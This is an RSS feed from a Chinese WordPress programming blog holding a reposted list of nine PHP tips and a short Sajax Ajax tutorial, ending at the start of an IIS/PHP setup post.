<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CQ-CSER &#187; php</title>
	<atom:link href="http://cq-cser.cn/category/web/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://cq-cser.cn</link>
	<description>计算机爱好者</description>
	<lastBuildDate>Sun, 15 Jan 2012 08:17:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>9-PHP-SKILLS</title>
		<link>http://cq-cser.cn/2010/05/9-php-skills/</link>
		<comments>http://cq-cser.cn/2010/05/9-php-skills/#comments</comments>
		<pubDate>Fri, 14 May 2010 07:31:23 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[WEB]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1188</guid>
		<description><![CDATA[下面是九个PHP中很有用的功能，不知道你用过了吗？ 转自：http://coolshell.cn 1. 函数的任意数目的参数 你可能知道PHP允许你定义一个默认参数的函数。但你可能并不知道PHP还允许你定义一个完全任意的参数的函数 下面是一个示例向你展示了默认参数的函数： // 两个默认参数的函数 function foo($arg1 = '', $arg2 = '') { echo "arg1: $arg1\n"; echo "arg2: $arg2\n"; } foo('hello','world'); /* 输出: arg1: hello arg2: world */ foo(); /* 输出: arg1: arg2: */ 现在我们来看一看一个不定参数的函数，其使用到了?func_get_args()方法： // 是的，形参列表为空 function foo() { // 取得所有的传入参数的数组 $args = func_get_args(); foreach ($args as $k =&#62; $v) { [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2010/02/21%e4%b8%aa21%e4%b8%aa%e5%ae%9e%e7%94%a8php%e4%bb%a3%e7%a0%81/' rel='bookmark' title='Permanent Link: 21个21个实用PHP代码'>21个21个实用PHP代码</a></li>
<li><a href='http://cq-cser.cn/2010/04/26jquery-skills/' rel='bookmark' title='Permanent Link: 26JQUERY-SKILLS'>26JQUERY-SKILLS</a></li>
<li><a href='http://cq-cser.cn/2010/02/php%e7%bc%96%e5%86%99%e6%98%93%e8%8c%83%e9%94%99%e8%af%af/' rel='bookmark' title='Permanent Link: php编写易范错误'>php编写易范错误</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>下面是九个PHP中很有用的功能，不知道你用过了吗？<span id="more-1188"></span><br />
转自：<a href="http://coolshell.cn">http://coolshell.cn</a></p>
<h4><span>1. 函数的任意数目的参数</span></h4>
<p>你可能知道PHP允许你定义一个默认参数的函数。但你可能并不知道PHP还允许你定义一个完全任意的参数的函数</p>
<p>下面是一个示例向你展示了默认参数的函数：</p>
<pre class="brush: php;">// 两个默认参数的函数
function foo($arg1 = '', $arg2 = '') {

	echo "arg1: $arg1\n";
	echo "arg2: $arg2\n";

}

foo('hello','world');
/* 输出:
arg1: hello
arg2: world
*/

foo();
/* 输出:
arg1:
arg2:
*/</pre>
<p>现在我们来看一看一个不定参数的函数，其使用到了?<a onclick="pageTracker._trackPageview('/outgoing/us2.php.net/manual/en/function.func-get-args.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://us2.php.net/manual/en/function.func-get-args.php">func_get_args()</a>方法：</p>
<pre class="brush: php;">// 是的，形参列表为空
function foo() {

	// 取得所有的传入参数的数组
	$args = func_get_args();

	foreach ($args as $k =&gt; $v) {
		echo "arg".($k+1).": $v\n";
	}

}

foo();
/* 什么也不会输出 */

foo('hello');
/* 输出
arg1: hello
*/

foo('hello', 'world', 'again');
/* 输出
arg1: hello
arg2: world
arg3: again
*/</pre>
<h4><span>2. </span>使用 Glob() 查找文件</h4>
<p>很多PHP的函数都有一个比较长的自解释的函数名，但是，当你看到?<a onclick="pageTracker._trackPageview('/outgoing/us.php.net/manual/en/function.glob.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://us.php.net/manual/en/function.glob.php">glob()</a> 的时候，你可能并不知道这个函数是用来干什么的，除非你对它已经很熟悉了。</p>
<p>你可以认为这个函数就好?<a onclick="pageTracker._trackPageview('/outgoing/php.net/manual/en/function.scandir.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://php.net/manual/en/function.scandir.php">scandir()</a> 一样，其可以用来查找文件。</p>
<pre class="brush: php;">// 取得所有的后缀为PHP的文件
$files = glob('*.php');

print_r($files);
/* 输出:
Array
(
    [0] =&gt; phptest.php
    [1] =&gt; pi.php
    [2] =&gt; post_output.php
    [3] =&gt; test.php
)
*/</pre>
<p>你还可以查找多种后缀名</p>
<pre class="brush: php;">// 取PHP文件和TXT文件
$files = glob('*.{php,txt}', GLOB_BRACE);

print_r($files);
/* 输出:
Array
(
    [0] =&gt; phptest.php
    [1] =&gt; pi.php
    [2] =&gt; post_output.php
    [3] =&gt; test.php
    [4] =&gt; log.txt
    [5] =&gt; test.txt
)
*/</pre>
<p>你还可以加上路径：</p>
<pre class="brush: php;">$files = glob('../images/a*.jpg');

print_r($files);
/* 输出:
Array
(
    [0] =&gt; ../images/apple.jpg
    [1] =&gt; ../images/art.jpg
)
*/</pre>
<p>如果你想得到绝对路径，你可以调用?<a onclick="pageTracker._trackPageview('/outgoing/php.net/manual/en/function.realpath.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://php.net/manual/en/function.realpath.php">realpath()</a> 函数：</p>
<pre class="brush: php;">$files = glob('../images/a*.jpg');

// applies the function to each array element
$files = array_map('realpath',$files);

print_r($files);
/* output looks like:
Array
(
    [0] =&gt; C:\wamp\www\images\apple.jpg
    [1] =&gt; C:\wamp\www\images\art.jpg
)
*/</pre>
<h4><span>3. </span>内存使用信息</h4>
<p>观察你程序的内存使用能够让你更好的优化你的代码。</p>
<p>PHP 是有垃圾回收机制的，而且有一套很复杂的内存管理机制。你可以知道你的脚本所使用的内存情况。要知道当前内存使用情况，你可以使用?<a onclick="pageTracker._trackPageview('/outgoing/us2.php.net/manual/en/function.memory-get-usage.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://us2.php.net/manual/en/function.memory-get-usage.php">memory_get_usage()</a> 函数，如果你想知道使用内存的峰值，你可以调用<a onclick="pageTracker._trackPageview('/outgoing/us2.php.net/manual/en/function.memory-get-peak-usage.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://us2.php.net/manual/en/function.memory-get-peak-usage.php">memory_get_peak_usage()</a> 函数。</p>
<pre class="brush: php;">echo "Initial: ".memory_get_usage()." bytes \n";
/* 输出
Initial: 361400 bytes
*/

// 使用内存
for ($i = 0; $i &lt; 100000; $i++) {
	$array []= md5($i);
}

// 删除一半的内存
for ($i = 0; $i &lt; 100000; $i++) {
	unset($array[$i]);
}

echo "Final: ".memory_get_usage()." bytes \n";
/* prints
Final: 885912 bytes
*/

echo "Peak: ".memory_get_peak_usage()." bytes \n";
/* 输出峰值
Peak: 13687072 bytes
*/</pre>
<h4><span>4. </span>CPU使用信息</h4>
<p>使用?<a onclick="pageTracker._trackPageview('/outgoing/us2.php.net/manual/en/function.getrusage.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://us2.php.net/manual/en/function.getrusage.php">getrusage()</a> 函数可以让你知道CPU的使用情况。注意，这个功能在Windows下不可用。</p>
<pre class="brush: php;">print_r(getrusage());
/* 输出
Array
(
    [ru_oublock] =&gt; 0
    [ru_inblock] =&gt; 0
    [ru_msgsnd] =&gt; 2
    [ru_msgrcv] =&gt; 3
    [ru_maxrss] =&gt; 12692
    [ru_ixrss] =&gt; 764
    [ru_idrss] =&gt; 3864
    [ru_minflt] =&gt; 94
    [ru_majflt] =&gt; 0
    [ru_nsignals] =&gt; 1
    [ru_nvcsw] =&gt; 67
    [ru_nivcsw] =&gt; 4
    [ru_nswap] =&gt; 0
    [ru_utime.tv_usec] =&gt; 0
    [ru_utime.tv_sec] =&gt; 0
    [ru_stime.tv_usec] =&gt; 6269
    [ru_stime.tv_sec] =&gt; 0
)

*/</pre>
<p>这个结构看上出很晦涩，除非你对CPU很了解。下面一些解释：</p>
<ul>
<li>ru_oublock: 块输出操作</li>
<li>ru_inblock: 块输入操作</li>
<li>ru_msgsnd: 发送的message</li>
<li>ru_msgrcv: 收到的message</li>
<li>ru_maxrss: 最大驻留集大小</li>
<li>ru_ixrss: 全部共享内存大小</li>
<li>ru_idrss:全部非共享内存大小</li>
<li>ru_minflt: 页回收</li>
<li>ru_majflt: 页失效</li>
<li>ru_nsignals: 收到的信号</li>
<li>ru_nvcsw: 主动上下文切换</li>
<li>ru_nivcsw: 被动上下文切换</li>
<li>ru_nswap: 交换区</li>
<li>ru_utime.tv_usec: 用户态时间 (microseconds)</li>
<li>ru_utime.tv_sec: 用户态时间(seconds)</li>
<li>ru_stime.tv_usec: 系统内核时间 (microseconds)</li>
<li>ru_stime.tv_sec: 系统内核时间?(seconds)</li>
</ul>
<p>要看到你的脚本消耗了多少CPU，我们需要看看“用户态的时间”和“系统内核时间”的值。秒和微秒部分是分别提供的，您可以把微秒值除以100万，并把它添加到秒的值后，可以得到有小数部分的秒数。</p>
<pre class="brush: php;">// sleep for 3 seconds (non-busy)
sleep(3);

$data = getrusage();
echo "User time: ".
	($data['ru_utime.tv_sec'] +
	$data['ru_utime.tv_usec'] / 1000000);
echo "System time: ".
	($data['ru_stime.tv_sec'] +
	$data['ru_stime.tv_usec'] / 1000000);

/* 输出
User time: 0.011552
System time: 0
*/</pre>
<p>sleep是不占用系统时间的，我们可以来看下面的一个例子：</p>
<pre class="brush: php;">// loop 10 million times (busy)
for($i=0;$i&lt;10000000;$i++) {

}

$data = getrusage();
echo "User time: ".
	($data['ru_utime.tv_sec'] +
	$data['ru_utime.tv_usec'] / 1000000);
echo "System time: ".
	($data['ru_stime.tv_sec'] +
	$data['ru_stime.tv_usec'] / 1000000);

/* 输出
User time: 1.424592
System time: 0.004204
*/</pre>
<p>这花了大约14秒的CPU时间，几乎所有的都是用户的时间，因为没有系统调用。</p>
<p>系统时间是CPU花费在系统调用上的上执行内核指令的时间。下面是一个例子：</p>
<pre class="brush: php;">$start = microtime(true);
// keep calling microtime for about 3 seconds
while(microtime(true) - $start &lt; 3) {

}

$data = getrusage();
echo "User time: ".
	($data['ru_utime.tv_sec'] +
	$data['ru_utime.tv_usec'] / 1000000);
echo "System time: ".
	($data['ru_stime.tv_sec'] +
	$data['ru_stime.tv_usec'] / 1000000);

/* prints
User time: 1.088171
System time: 1.675315
*/</pre>
<p>我们可以看到上面这个例子更耗CPU。</p>
<h4><span>5. </span>系统常量</h4>
<p>PHP 提供非常有用的<a onclick="pageTracker._trackPageview('/outgoing/php.net/manual/en/language.constants.predefined.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://php.net/manual/en/language.constants.predefined.php">系统常量</a> 可以让你得到当前的行号 (__LINE__)，文件 (__FILE__)，目录 (__DIR__)，函数名 (__FUNCTION__)，类名(__CLASS__)，方法名(__METHOD__) 和名字空间 (__NAMESPACE__)，很像C语言。</p>
<p>我们可以以为这些东西主要是用于调试，当也不一定，比如我们可以在include其它文件的时候使用?__FILE__ (当然，你也可以在 PHP 5.3以后使用 __DIR__ )，下面是一个例子。</p>
<pre class="brush: php;">// this is relative to the loaded script's path
// it may cause problems when running scripts from different directories
require_once('config/database.php');

// this is always relative to this file's path
// no matter where it was included from
require_once(dirname(__FILE__) . '/config/database.php');</pre>
<p>下面是使用 __LINE__ 来输出一些debug的信息，这样有助于你调试程序：</p>
<pre class="brush: php;">// some code
// ...
my_debug("some debug message", __LINE__);
/* 输出
Line 4: some debug message
*/

// some more code
// ...
my_debug("another debug message", __LINE__);
/* 输出
Line 11: another debug message
*/

function my_debug($msg, $line) {
	echo "Line $line: $msg\n";
}</pre>
<h4><span>6.生成唯一的ID</span></h4>
<p>有很多人使用 md5() 来生成一个唯一的ID，如下所示：</p>
<pre class="brush: php;">// generate unique string
echo md5(time() . mt_rand(1,1000000));</pre>
<p>其实，PHP中有一个叫?<a onclick="pageTracker._trackPageview('/outgoing/us2.php.net/manual/en/function.uniqid.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://us2.php.net/manual/en/function.uniqid.php">uniqid()</a> 的函数是专门用来干这个的：</p>
<pre class="brush: php;">// generate unique string
echo uniqid();
/* 输出
4bd67c947233e
*/

// generate another unique string
echo uniqid();
/* 输出
4bd67c9472340
*/</pre>
<p>可能你会注意到生成出来的ID前几位是一样的，这是因为生成器依赖于系统的时间，这其实是一个非常不错的功能，因为你是很容易为你的这些ID排序的。这点MD5是做不到的。</p>
<p>你还可以加上前缀避免重名：</p>
<pre class="brush: php;">// 前缀
echo uniqid('foo_');
/* 输出
foo_4bd67d6cd8b8f
*/

// 有更多的熵
echo uniqid('',true);
/* 输出
4bd67d6cd8b926.12135106
*/

// 都有
echo uniqid('bar_',true);
/* 输出
bar_4bd67da367b650.43684647
*/</pre>
<p>而且，生成出来的ID会比MD5生成的要短，这会让你节省很多空间。</p>
<h4><span>7. </span>序列化</h4>
<p>你是否会把一个比较复杂的数据结构存到数据库或是文件中？你并不需要自己去写自己的算法。PHP早已为你做好了，其提供了两个函数：?<a onclick="pageTracker._trackPageview('/outgoing/php.net/manual/en/function.serialize.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://php.net/manual/en/function.serialize.php">serialize()</a> 和 <a onclick="pageTracker._trackPageview('/outgoing/www.php.net/manual/en/function.unserialize.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://www.php.net/manual/en/function.unserialize.php">unserialize()</a>:</p>
<pre class="brush: php;">// 一个复杂的数组
$myvar = array(
	'hello',
	42,
	array(1,'two'),
	'apple'
);

// 序列化
$string = serialize($myvar);

echo $string;
/* 输出
a:4:{i:0;s:5:"hello";i:1;i:42;i:2;a:2:{i:0;i:1;i:1;s:3:"two";}i:3;s:5:"apple";}
*/

// 反序例化
$newvar = unserialize($string);

print_r($newvar);
/* 输出
Array
(
    [0] =&gt; hello
    [1] =&gt; 42
    [2] =&gt; Array
        (
            [0] =&gt; 1
            [1] =&gt; two
        )

    [3] =&gt; apple
)
*/</pre>
<p>这是PHP的原生函数，然而在今天JSON越来越流行，所以在PHP5.2以后，PHP开始支持JSON，你可以使用 json_encode() 和 json_decode() 函数</p>
<pre class="brush: php;">// a complex array
$myvar = array(
	'hello',
	42,
	array(1,'two'),
	'apple'
);

// convert to a string
$string = json_encode($myvar);

echo $string;
/* prints
["hello",42,[1,"two"],"apple"]
*/

// you can reproduce the original variable
$newvar = json_decode($string);

print_r($newvar);
/* prints
Array
(
    [0] =&gt; hello
    [1] =&gt; 42
    [2] =&gt; Array
        (
            [0] =&gt; 1
            [1] =&gt; two
        )

    [3] =&gt; apple
)
*/</pre>
<p>这看起来更为紧凑一些了，而且还兼容于Javascript和其它语言。但是对于一些非常复杂的数据结构，可能会造成数据丢失。</p>
<h4><span>8. </span>字符串压缩</h4>
<p>当我们说到压缩，我们可能会想到文件压缩，其实，字符串也是可以压缩的。PHP提供了?<a onclick="pageTracker._trackPageview('/outgoing/php.net/manual/en/function.gzcompress.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://php.net/manual/en/function.gzcompress.php">gzcompress()</a> 和 <a onclick="pageTracker._trackPageview('/outgoing/www.php.net/manual/en/function.gzuncompress.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://www.php.net/manual/en/function.gzuncompress.php">gzuncompress()</a> 函数：</p>
<pre class="brush: php;">$string =
"Lorem ipsum dolor sit amet, consectetur
adipiscing elit. Nunc ut elit id mi ultricies
adipiscing. Nulla facilisi. Praesent pulvinar,
sapien vel feugiat vestibulum, nulla dui pretium orci,
non ultricies elit lacus quis ante. Lorem ipsum dolor
sit amet, consectetur adipiscing elit. Aliquam
pretium ullamcorper urna quis iaculis. Etiam ac massa
sed turpis tempor luctus. Curabitur sed nibh eu elit
mollis congue. Praesent ipsum diam, consectetur vitae
ornare a, aliquam a nunc. In id magna pellentesque
tellus posuere adipiscing. Sed non mi metus, at lacinia
augue. Sed magna nisi, ornare in mollis in, mollis
sed nunc. Etiam at justo in leo congue mollis.
Nullam in neque eget metus hendrerit scelerisque
eu non enim. Ut malesuada lacus eu nulla bibendum
id euismod urna sodales. ";

$compressed = gzcompress($string);

echo "Original size: ". strlen($string)."\n";
/* 输出原始大小
Original size: 800
*/

echo "Compressed size: ". strlen($compressed)."\n";
/* 输出压缩后的大小
Compressed size: 418
*/

// 解压缩
$original = gzuncompress($compressed);</pre>
<p>几乎有<span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px; white-space: normal; font-size: 13px;">50% 压缩比率。同时，你还可以使用?<a onclick="pageTracker._trackPageview('/outgoing/www.php.net/manual/en/function.gzencode.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://www.php.net/manual/en/function.gzencode.php">gzencode()</a> 和 <a onclick="pageTracker._trackPageview('/outgoing/www.php.net/manual/en/function.gzdecode.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://www.php.net/manual/en/function.gzdecode.php">gzdecode()</a> 函数来压缩，只不用其用了不同的压缩算法。</span></p>
<h4><span>9. 注册停止</span>函数</h4>
<p>有一个函数叫做?<a onclick="pageTracker._trackPageview('/outgoing/www.php.net/manual/en/function.register-shutdown-function.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://www.php.net/manual/en/function.register-shutdown-function.php">register_shutdown_function()</a>，可以让你在整个脚本停时前运行代码。让我们看下面的一个示例：</p>
<pre class="brush: php;">// capture the start time
$start_time = microtime(true);

// do some stuff
// ...

// display how long the script took
echo "execution took: ".
		(microtime(true) - $start_time).
		" seconds.";</pre>
<p>上面这个示例只不过是用来计算某个函数运行的时间。然后，如果你在函数中间调用?<a onclick="pageTracker._trackPageview('/outgoing/php.net/manual/en/function.exit.php?referer=http%3A%2F%2Fcoolshell.cn%2F');" href="http://php.net/manual/en/function.exit.php">exit()</a> 函数，那么你的最后的代码将不会被运行到。并且，如果该脚本在浏览器终止（用户按停止按钮），其也无法被运行。</p>
<p>而当我们使用了register_shutdown_function()后，你的程序就算是在脚本被停止后也会被运行：</p>
<pre class="brush: php;">$start_time = microtime(true);

register_shutdown_function('my_shutdown');

// do some stuff
// ...

function my_shutdown() {
	global $start_time;

	echo "execution took: ".
			(microtime(true) - $start_time).
			" seconds.";
}</pre>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/02/21%e4%b8%aa21%e4%b8%aa%e5%ae%9e%e7%94%a8php%e4%bb%a3%e7%a0%81/' rel='bookmark' title='Permanent Link: 21个21个实用PHP代码'>21个21个实用PHP代码</a></li>
<li><a href='http://cq-cser.cn/2010/04/26jquery-skills/' rel='bookmark' title='Permanent Link: 26JQUERY-SKILLS'>26JQUERY-SKILLS</a></li>
<li><a href='http://cq-cser.cn/2010/02/php%e7%bc%96%e5%86%99%e6%98%93%e8%8c%83%e9%94%99%e8%af%af/' rel='bookmark' title='Permanent Link: php编写易范错误'>php编写易范错误</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/05/9-php-skills/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sajax/php下ajax简易框架</title>
		<link>http://cq-cser.cn/2010/03/sajaxphp%e4%b8%8bajax%e7%ae%80%e6%98%93%e6%a1%86%e6%9e%b6/</link>
		<comments>http://cq-cser.cn/2010/03/sajaxphp%e4%b8%8bajax%e7%ae%80%e6%98%93%e6%a1%86%e6%9e%b6/#comments</comments>
		<pubDate>Sat, 06 Mar 2010 03:50:09 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[JS]]></category>
		<category><![CDATA[OTHER]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[sajax]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=988</guid>
		<description><![CDATA[http://www.modernmethod.com/sajax/  使用sajax其实很简单，首先当然要包含sajax这个文件    require(&#8220;Sajax.php&#8221;); $sajax_remote_uri = &#8220;http://a..php;&#8221;    //这里是远程要处理判断结果的一个页面 sajax_init();  //Sajax初始化函数，看过Sajax.php的都知道，其实这个函数的内容是空的，这里写的目的就是告诉你这个页面会使用Sajax。因为Sajax并不是一个类，而是一个函数集，所以不需要建立对象，实际应用中不执行这个函数也没有关系。 sajax_export(&#8220;riqi&#8221;); //用sajax_export定义将要在Javascript输出的函数，也就是从HTML页面中可以使用的函数。将函数的名字传递给sajax_export，如果多个函数可以向sajax_export传递多个参数来实现 sajax_handle_client_request(); //处理客户端需求函数，开始访问页面的时候不会起作用，但是当客户端将需求（运行哪个函数，参数是多少等等）传递过来的时候就由这个来处理了。 好了，后台的PHP部分结束，下面是HTML显示部分，纯粹的HTML基础就不管了，只说和Sajax使用有关的部分 &#60;? sajax_show_javascript(); //显示Sajax生成的Javascript， ?&#62; 接下来我们写处理的函数 比如在那个“确定”按钮的onclick事件中，如下写： function getriqi() {  var yearend=frm.yend.value     。。。。。。。      x_riqi(yearend,getriqidb); } 这里比如可以先获得要判断计算的值（比如这里的yearend),然后注意 x_riqi(yearend,getriqidb)这句话 这里的riqi函数，是在前面PHP中用sajax_export定义，由sajax_show_javascript输出的函数之一，其格式就是你在sajax_export中定义的函数名前面加x_。，接着可以把要传递的参数一个个接着写下去。 接下来就可以写getriqidb这个判断function里，比如： function getriqidb(content) { document.getElementById(&#8216;content&#8217;).innerHTML=content &#8230;&#8230;&#8230;&#8230;. } 注意，这里其实是一个用来显示经过远端计算页面计算返回的结果的方法来的，比如远端的页面a.php收到参数后，经过计算，异步返回给页面内容content,就可以在这里输出拉，比如上文提到的，根据返回的结果来填充下拉列表框。 最后，我们写那个远端判断的页面a.php &#60;? if($_GET['rs'] == &#8216;riqi&#8217;) { $yearend=$_GET['rsargs'][0]; &#8230;. //之后做相关的业务逻辑计算 } 这里，用$_get['rs']来判断是否等于“riqi&#8221;，&#8221;riqi&#8221;是之前我们定义好的（sajax_export(&#8220;riqi&#8221;);）， 如果是的话，则表示是来自sajax的请求，注意 $_get['rs']也是固定的，不能改变。 [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2010/02/simpleviewer/' rel='bookmark' title='Permanent Link: SimpleViewer'>SimpleViewer</a></li>
<li><a href='http://cq-cser.cn/2010/02/jquery%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b04/' rel='bookmark' title='Permanent Link: jquery学习笔记4'>jquery学习笔记4</a></li>
<li><a href='http://cq-cser.cn/2010/02/jquery%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b03/' rel='bookmark' title='Permanent Link: jquery学习笔记3'>jquery学习笔记3</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.modernmethod.com/sajax/">http://www.modernmethod.com/sajax/</a></p>
<p> 使用sajax其实很简单，首先当然要包含sajax这个文件<br />
   require(&#8220;Sajax.php&#8221;);</p>
<p>$sajax_remote_uri = &#8220;<a href="http://a..php">http://a..php</a>;&#8221;    //这里是远程要处理判断结果的一个页面</p>
<p><span id="more-988"></span><br />
sajax_init();  //Sajax初始化函数，看过Sajax.php的都知道，其实这个函数的内容是空的，这里写的目的就是告诉你这个页面会使用Sajax。因为Sajax并不是一个类，而是一个函数集，所以不需要建立对象，实际应用中不执行这个函数也没有关系。<br />
sajax_export(&#8220;riqi&#8221;);</p>
<p>//用sajax_export定义将要在Javascript输出的函数，也就是从HTML页面中可以使用的函数。将函数的名字传递给sajax_export，如果多个函数可以向sajax_export传递多个参数来实现<br />
sajax_handle_client_request();<br />
//处理客户端需求函数，开始访问页面的时候不会起作用，但是当客户端将需求（运行哪个函数，参数是多少等等）传递过来的时候就由这个来处理了。<br />
好了，后台的PHP部分结束，下面是HTML显示部分，纯粹的HTML基础就不管了，只说和Sajax使用有关的部分</p>
<p>&lt;?<br />
sajax_show_javascript();<br />
//显示Sajax生成的Javascript，<br />
?&gt;</p>
<p>接下来我们写处理的函数<br />
比如在那个“确定”按钮的onclick事件中，如下写：</p>
<p>function getriqi()<br />
{<br />
 var yearend=frm.yend.value<br />
    。。。。。。。<br />
     x_riqi(yearend,getriqidb);</p>
<p>}<br />
这里比如可以先获得要判断计算的值（比如这里的yearend),然后注意<br />
x_riqi(yearend,getriqidb)这句话<br />
这里的riqi函数，是在前面PHP中用sajax_export定义，由sajax_show_javascript输出的函数之一，其格式就是你在sajax_export中定义的函数名前面加x_。，接着可以把要传递的参数一个个接着写下去。</p>
<p>接下来就可以写getriqidb这个判断function里，比如：<br />
function getriqidb(content)<br />
{<br />
document.getElementById(&#8216;content&#8217;).innerHTML=content<br />
&#8230;&#8230;&#8230;&#8230;.<br />
}<br />
注意，这里其实是一个用来显示经过远端计算页面计算返回的结果的方法来的，比如远端的页面a.php收到参数后，经过计算，异步返回给页面内容content,就可以在这里输出拉，比如上文提到的，根据返回的结果来填充下拉列表框。<br />
最后，我们写那个远端判断的页面a.php<br />
&lt;?<br />
if($_GET['rs'] == &#8216;riqi&#8217;)<br />
{<br />
$yearend=$_GET['rsargs'][0];<br />
&#8230;.<br />
//之后做相关的业务逻辑计算</p>
<p>}<br />
这里，用$_get['rs']来判断是否等于“riqi&#8221;，&#8221;riqi&#8221;是之前我们定义好的（sajax_export(&#8220;riqi&#8221;);），<br />
如果是的话，则表示是来自sajax的请求，注意 $_get['rs']也是固定的，不能改变。<br />
之后用 $_GET['rsargs'][0]来取出第一个参数，如此类推。。。。。</p>
<p>最后，要将结果返回给前端的页面，用<br />
 echo(&#8220;##&#8221;.$content);<br />
注意，这里的输出内容变量$content,要和前端页面里function getriqidb(content)里的定义好的content在命名上是相同的哦。</p>
<p>而可能是sajax的一个BUG（在IBM DW站上有说），在输出时，前端会没了两个字符，比如要输出的内容为2004，会变成04,而在前面加上##时，就正确了</p>
<h2>Examples</h2>
<p>Here are two overly simplistic examples:</p>
<p>Graffiti Wall: → <a href="http://cq-cser.cn/wp-admin/sajax-0.12/php/example_wall.php">Try it</a> or <a href="http://cq-cser.cn/wp-admin/sajax-0.12/php/example_wall.php.txt">see source</a></p>
<p>Calculator: → <a href="http://cq-cser.cn/wp-admin/sajax-0.12/php/example_multiply.php">Try it</a> or <a href="http://cq-cser.cn/wp-admin/sajax-0.12/php/example_multiply.php.txt">see source</a></p>
<p>Still confused? Read our <a href="http://cq-cser.cn/wp-admin/faq.phtml">Frequently Asked Questions</a> or ask for help in our <a href="http://cq-cser.cn/wp-admin/forum/">message board</a>.</p>
<h2>Download Now</h2>
<p> </p>
<p>The most recent version <strong>0.12</strong>, including code and examples:</p>
<div><a href="http://cq-cser.cn/wp-admin/sajax-0.12.tgz">Download sajax-0.12.tgz</a> <a href="http://cq-cser.cn/wp-admin/sajax-0.12.zip">Download sajax-0.12.zip</a></div>
<p> </p>
<p>Version 0.12, code only: <a href="http://cq-cser.cn/wp-admin/sajax-0.12/php/Sajax.php.txt">Sajax.php.txt</a></p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/02/simpleviewer/' rel='bookmark' title='Permanent Link: SimpleViewer'>SimpleViewer</a></li>
<li><a href='http://cq-cser.cn/2010/02/jquery%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b04/' rel='bookmark' title='Permanent Link: jquery学习笔记4'>jquery学习笔记4</a></li>
<li><a href='http://cq-cser.cn/2010/02/jquery%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b03/' rel='bookmark' title='Permanent Link: jquery学习笔记3'>jquery学习笔记3</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/03/sajaxphp%e4%b8%8bajax%e7%ae%80%e6%98%93%e6%a1%86%e6%9e%b6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IIS配置PHP环境</title>
		<link>http://cq-cser.cn/2010/03/iis%e9%85%8d%e7%bd%aephp%e7%8e%af%e5%a2%83/</link>
		<comments>http://cq-cser.cn/2010/03/iis%e9%85%8d%e7%bd%aephp%e7%8e%af%e5%a2%83/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 13:59:15 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[WEB]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[IIS]]></category>
		<category><![CDATA[配置]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=967</guid>
